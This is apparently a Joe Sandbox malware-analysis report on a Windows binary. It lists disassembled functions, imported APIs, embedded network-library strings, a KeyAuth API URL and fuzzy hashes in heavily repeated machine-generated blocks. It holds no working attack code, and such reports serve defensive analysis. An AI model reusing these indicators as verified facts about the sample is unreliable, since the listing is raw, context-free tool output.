Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: ABOR$Failure sending ABOR command: %s$No data was received!$Received only partial file: %I64d bytes$Remembering we are in dir "%s"$Uploaded unaligned file size (%I64d out of %I64d bytes)$control connection looks dead$partial download completed, closing connection$server did not report OK, got %d
API String ID: 1294909896-2312071747
Opcode ID: 00f0f5a2b586d4b12147fcf8204e59185c13d3c04a4c7b2c1e6b1d2f36cf66b6
Instruction ID: 0e05fb3f8232171ceecf153443b94f43e7c57965a8692d57128eaa2a495d36d8
Opcode Fuzzy Hash: 00f0f5a2b586d4b12147fcf8204e59185c13d3c04a4c7b2c1e6b1d2f36cf66b6
Instruction Fuzzy Hash: 1AD1A361A2C6C2C6EA64BF2596013B9E2A0FB45794FC44335DAAD0B6C1DF7CF4478B21

Function 00007FF747D3A7B2 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D34320: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D34351

Part of subcall function 00007FF747D36320: memcpy.VCRUNTIME140 ref: 00007FF747D36496

Part of subcall function 00007FF747D31FC0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32131

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3A861
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3A88F
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3A89D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3A8D7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3A934
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3A9ED
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3AA1B
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3AA29
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3AA63
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3AAB4
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3AAFE

Strings

value, xrefs: 00007FF747D3A7D0, 00007FF747D3A959

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy$memcpy
String ID: value
API String ID: 3212548336-494360628
Opcode ID: 5326661d5e7fbd7017e2f05cc9af570629d592ff744eb586dc6c91cc8db18cda
Instruction ID: 268e98c6389f427ee66e42221758da98792a3986d4e615a78cf54d6f66dbe66e
Opcode Fuzzy Hash: 5326661d5e7fbd7017e2f05cc9af570629d592ff744eb586dc6c91cc8db18cda
Instruction Fuzzy Hash: D7A18762B2CA85C6FB10FB64E5443AD6361FB857A4F900331E66D12AD9DF7CE086CB50

Function 00007FF747D3C041 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D34320: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D34351

Part of subcall function 00007FF747D36320: memcpy.VCRUNTIME140 ref: 00007FF747D36496

Part of subcall function 00007FF747D31FC0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32131

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3C0F0
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3C11E
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3C12C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3C166
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3C1C3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3C27C
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3C2AA
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3C2B8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3C2F2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3C343
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3C38D

Strings

value, xrefs: 00007FF747D3C05F, 00007FF747D3C1E8

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy$memcpy
String ID: value
API String ID: 3212548336-494360628
Opcode ID: 743d420fd752d394023e5d147ab696b386a989657152b2f6896b1dcf388bf412
Instruction ID: 892ba578789db7fe6603d70419b35fe89154458d63fef1b3c6ce412886ad3c9a
Opcode Fuzzy Hash: 743d420fd752d394023e5d147ab696b386a989657152b2f6896b1dcf388bf412
Instruction Fuzzy Hash: 47A17A62A2CA85C6EB00FB68E4443AD6361FB457B4F901331DA6D17AD9DF7CE096CB10

Function 00007FF747D85240 Relevance: 19.8, APIs: 8, Strings: 5, Instructions: 266COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D852B5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D852D6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D852F1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D852FF
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D85386
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D853D5
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D85436
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D855BC

Strings

InitializeSecurityContext failed: %s, xrefs: 00007FF747D855DA
HTTP, xrefs: 00007FF747D85240
CompleteAuthToken failed: %s, xrefs: 00007FF747D85617
Negotiate, xrefs: 00007FF747D85244, 00007FF747D8534C, 00007FF747D853F3
SPNEGO handshake failure (empty challenge message), xrefs: 00007FF747D85486

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$calloc$malloc
String ID: CompleteAuthToken failed: %s$HTTP$InitializeSecurityContext failed: %s$Negotiate$SPNEGO handshake failure (empty challenge message)
API String ID: 3103867982-1477229593
Opcode ID: 0d6b655dcbdeab51feffedeff9afb7f8b29fec1c10cdc3d2b61d959f6e169dc5
Instruction ID: a6e30f59aceac98335e37a66733c8f9b42a9e16f228e567d05d4f80f0ef46cd9
Opcode Fuzzy Hash: 0d6b655dcbdeab51feffedeff9afb7f8b29fec1c10cdc3d2b61d959f6e169dc5
Instruction Fuzzy Hash: E3C17D72A28B41C6EB10FF65E4402ADB7A5FB44B88F810236DE4D57B58DF38D846CB60

Function 00007FF747D87120 Relevance: 19.7, APIs: 5, Strings: 8, Instructions: 165COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D871D3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D87239
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8725C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D872BC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8732C

Strings

Issuer: %s, xrefs: 00007FF747D872AA
TRUE, xrefs: 00007FF747D87391
%lx, xrefs: 00007FF747D872FC
Subject, xrefs: 00007FF747D8720A
Issuer, xrefs: 00007FF747D87290
Version: %lu (0x%lx), xrefs: 00007FF747D8733E
%2d Subject: %s, xrefs: 00007FF747D87224
Version, xrefs: 00007FF747D87317

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc
String ID: Issuer: %s$ Version: %lu (0x%lx)$%2d Subject: %s$%lx$Issuer$Subject$TRUE$Version
API String ID: 2190258309-1457932261
Opcode ID: ad1976b87a44fb8d818fdb44e7480ec08fb280e608e4c6ec3807d1ae1869fbba
Instruction ID: 61e08ea46845adec34fe2f801323845ec33d051f9a50fdb6aa01fd694dac2690
Opcode Fuzzy Hash: ad1976b87a44fb8d818fdb44e7480ec08fb280e608e4c6ec3807d1ae1869fbba
Instruction Fuzzy Hash: 8161DF61A2C782C5EB15FB61A4083FAA390BB45794FC50632DD6E07799EF3CE146CB20

Function 00007FF747D7A630 Relevance: 19.7, APIs: 4, Strings: 9, Instructions: 151stringCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF747D7A69B
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7A7C5

Part of subcall function 00007FF747D46040: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D50640,?,?,?,?,?,?,?,?,?,?,00000000,00007FF747D42471), ref: 00007FF747D46067
Part of subcall function 00007FF747D46040: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D50640,?,?,?,?,?,?,?,?,?,?,00000000,00007FF747D42471), ref: 00007FF747D46073

strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7A77F

Part of subcall function 00007FF747D45FA0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D45FB0

Strings

XDISPLOC, xrefs: 00007FF747D7A79B
BINARY, xrefs: 00007FF747D7A86E
Syntax error in telnet option: %s, xrefs: 00007FF747D7A8D6
Unknown telnet option %s, xrefs: 00007FF747D7A8BD
%127[^= ]%*[ =]%255s, xrefs: 00007FF747D7A740
TTYPE, xrefs: 00007FF747D7A755
NEW_ENV, xrefs: 00007FF747D7A7E1
%hu%*[xX]%hu, xrefs: 00007FF747D7A849
USER,%s, xrefs: 00007FF747D7A6C0

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freestrncpy$_strdupmemset
String ID: %127[^= ]%*[ =]%255s$%hu%*[xX]%hu$BINARY$NEW_ENV$Syntax error in telnet option: %s$TTYPE$USER,%s$Unknown telnet option %s$XDISPLOC
API String ID: 3826632026-748038847
Opcode ID: e5b4f2103c453911aedcd51cbfc018986ff4a876cf622d445cf5e43f37735157
Instruction ID: c6526ca66c6b31313b0bda07687236757c286db2e6a5891f7ee00a8cae186851
Opcode Fuzzy Hash: e5b4f2103c453911aedcd51cbfc018986ff4a876cf622d445cf5e43f37735157
Instruction Fuzzy Hash: 12713A72A2DAC6D1FB21BF24D4417E9A360FF85788FC44232DA8D4A255EF38D546CB60

Function 00007FF747D7CEB3 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 290COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7CFB3

Strings

%I64d, xrefs: 00007FF747D7D046
%s%c%s%c, xrefs: 00007FF747D7CFCA
tsize, xrefs: 00007FF747D7D0C2
blksize, xrefs: 00007FF747D7D188
TFTP buffer too small for options, xrefs: 00007FF747D7D0AF, 00007FF747D7D1F8
timeout, xrefs: 00007FF747D7D275
TFTP file name too long, xrefs: 00007FF747D7CF9F

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %I64d$%s%c%s%c$TFTP buffer too small for options$TFTP file name too long$blksize$timeout$tsize
API String ID: 1294909896-3837278924
Opcode ID: 11243cacde7ed8b8b05c4affb2ad3395ef562e7c02fa1d8338817df6b4ae1186
Instruction ID: 4d85bc1d822dcf11cb946b53c469f0a8aaf0e272f649f7de4e0b0548cbef5270
Opcode Fuzzy Hash: 11243cacde7ed8b8b05c4affb2ad3395ef562e7c02fa1d8338817df6b4ae1186
Instruction Fuzzy Hash: 56D1A46261CA82C5EB11EF24D0403B9B7A1FB85B98FC58232DA4E5B785DF7CD546CB20

Function 00007FF747D7D730 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 222networkCOMMON

Download Yara Rule

APIs

sendto.WS2_32 ref: 00007FF747D7D8A3
sendto.WS2_32 ref: 00007FF747D7D95C
WSAGetLastError.WS2_32 ref: 00007FF747D7D96A

Strings

Received ACK for block %d, expecting %d, xrefs: 00007FF747D7D8F5
tftp_tx: internal error, event: %i, xrefs: 00007FF747D7D788
Timeout waiting for block %d ACK. Retries = %d, xrefs: 00007FF747D7D79D
tftp_tx: giving up waiting for block %d ack, xrefs: 00007FF747D7D914

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: sendto$ErrorLast
String ID: Received ACK for block %d, expecting %d$Timeout waiting for block %d ACK. Retries = %d$tftp_tx: giving up waiting for block %d ack$tftp_tx: internal error, event: %i
API String ID: 4042023021-4197595102
Opcode ID: 7bbb2639de61ab8c1464d414514da25b57dc3edd0b8e6112f819213a615a5998
Instruction ID: 3b744684e9f7c52721c8bd5e18fe863266dd17ab10ed0b40a6b6e21df181d8ff
Opcode Fuzzy Hash: 7bbb2639de61ab8c1464d414514da25b57dc3edd0b8e6112f819213a615a5998
Instruction Fuzzy Hash: 7AB1517262C682C6D765AF29D4407A977A0FB88F88F844232DE4E4B758DF38D446CB60

Function 00007FF747D7B160 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 180networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FF747D7B35C
WSAGetLastError.WS2_32 ref: 00007FF747D7B36E
send.WS2_32 ref: 00007FF747D7B466
WSAGetLastError.WS2_32 ref: 00007FF747D7B470

Strings

%c%s%c%s, xrefs: 00007FF747D7B300
%c%c%c%c, xrefs: 00007FF747D7B23D
%127[^,],%127s, xrefs: 00007FF747D7B2C8
#, xrefs: 00007FF747D7B3DE
%c%c, xrefs: 00007FF747D7B338
%c%c%c%c%s%c%c, xrefs: 00007FF747D7B43F
Sending data failed (%d), xrefs: 00007FF747D7B374, 00007FF747D7B476

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLastsend
String ID: #$%127[^,],%127s$%c%c$%c%c%c%c$%c%c%c%c%s%c%c$%c%s%c%s$Sending data failed (%d)
API String ID: 1802528911-931584821
Opcode ID: b789f81208a5b9aa444f3937666235559fc3fee082451b45fb7e3bbc3329918e
Instruction ID: a42aeef9f30929dfba9960718f130fd3538bf1fa726dd0bdf319be17093799fe
Opcode Fuzzy Hash: b789f81208a5b9aa444f3937666235559fc3fee082451b45fb7e3bbc3329918e
Instruction Fuzzy Hash: DF917E6262CAC1D5E721AF64E4457EAA3A0FF857A8F840231EE8D07A85DF3DD146CB50

Function 00007FF747D54700 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 151stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5473D
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D547BF
strchr.VCRUNTIME140 ref: 00007FF747D5483E
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF747D5486C
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5488D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5489F

Strings

No valid port number in connect to host string (%s), xrefs: 00007FF747D548CB
Invalid IPv6 address format, xrefs: 00007FF747D54827
Please URL encode %% as %%25, see RFC 6874., xrefs: 00007FF747D547C9
%25, xrefs: 00007FF747D547B5

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdup$freestrchrstrncmpstrtol
String ID: %25$Invalid IPv6 address format$No valid port number in connect to host string (%s)$Please URL encode %% as %%25, see RFC 6874.
API String ID: 2070079882-2404041592
Opcode ID: 87368c59f9fe8063e5992f5de28ffce5ae937202ea33b7f2a591c5681f9ad303
Instruction ID: a0bb466d6c6d8bcce9abb68233eb519df5e20e79c23ea403a706d8f95ced5c88
Opcode Fuzzy Hash: 87368c59f9fe8063e5992f5de28ffce5ae937202ea33b7f2a591c5681f9ad303
Instruction Fuzzy Hash: E5510851E2CAE2C7FB65BB159420375ABD1AF01B94FC94231CA8D062C5EE2CE447CB71

Function 00007FF747D4A710 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 143fileCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A74E
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4A76E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D4A7A0
fopen.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D4A7BD
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A7DB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A7EC
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D4A80C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF747D44960), ref: 00007FF747D4A8BF
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF747D44960), ref: 00007FF747D4A8D5

Strings

Set-Cookie:, xrefs: 00007FF747D4A846
none, xrefs: 00007FF747D4A763

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: fclosefree$__acrt_iob_func_strdupcallocfopenmalloc
String ID: Set-Cookie:$none
API String ID: 4109794434-3629594122
Opcode ID: 17cfc58c2ff132a4fc18a63d81c33083011eece3fc44a1e24eabeae53038068d
Instruction ID: cecd647e15e7e1422c772423f5be712703a6e759c9ac57f1dc57c9ba656094ec
Opcode Fuzzy Hash: 17cfc58c2ff132a4fc18a63d81c33083011eece3fc44a1e24eabeae53038068d
Instruction Fuzzy Hash: 1351B721A6D782C1FA75BB21951127AE790FF85B80F884674DE8E07785DF3CE4478B60

Function 00007FF747D5C2E0 Relevance: 18.2, APIs: 2, Strings: 10, Instructions: 227COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF747D5C676

Strings

Signaling end of chunked upload via terminating chunk., xrefs: 00007FF747D5C60A
Signaling end of chunked upload after trailers., xrefs: 00007FF747D5C6C0
Read callback asked for PAUSE when not supported!, xrefs: 00007FF747D5C4D9
Unable to allocate trailing headers buffer !, xrefs: 00007FF747D5C353
Moving trailers state machine from initialized to sending., xrefs: 00007FF747D5C321
operation aborted by trailing headers callback, xrefs: 00007FF747D5C46D
operation aborted by callback, xrefs: 00007FF747D5C44D
read function returned funny value, xrefs: 00007FF747D5C51B
%zx%s, xrefs: 00007FF747D5C597
Successfully compiled trailers., xrefs: 00007FF747D5C3BA

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: memcpy
String ID: %zx%s$Moving trailers state machine from initialized to sending.$Read callback asked for PAUSE when not supported!$Signaling end of chunked upload after trailers.$Signaling end of chunked upload via terminating chunk.$Successfully compiled trailers.$Unable to allocate trailing headers buffer !$operation aborted by callback$operation aborted by trailing headers callback$read function returned funny value
API String ID: 3510742995-1652449680
Opcode ID: d138500cbaf182bc5e16dc619f2f2d0803747c55357b2c7ce644f458475db220
Instruction ID: e764c11dae9f09c068f179170a48665cf65decefbb76d5581c5bf96d0494a6df
Opcode Fuzzy Hash: d138500cbaf182bc5e16dc619f2f2d0803747c55357b2c7ce644f458475db220
Instruction Fuzzy Hash: 07A18231A2CA83C2E750BF20D8503B9A791EB45B98FC55231DE4E5B295EE3CE546CB20

Function 00007FF747D6E2F0 Relevance: 18.2, APIs: 4, Strings: 8, Instructions: 207COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6E420
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6E436
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6E499

Strings

APPEND %s (\Seen) {%I64d}, xrefs: 00007FF747D6E5CD
Cannot APPEND without a mailbox., xrefs: 00007FF747D6E4C4
SELECT %s, xrefs: 00007FF747D6E485
Cannot APPEND with unknown input file size, xrefs: 00007FF747D6E597
Cannot SELECT without a mailbox., xrefs: 00007FF747D6E44F
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_, xrefs: 00007FF747D6E308
Mime-Version, xrefs: 00007FF747D6E526
Mime-Version: 1.0, xrefs: 00007FF747D6E541

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

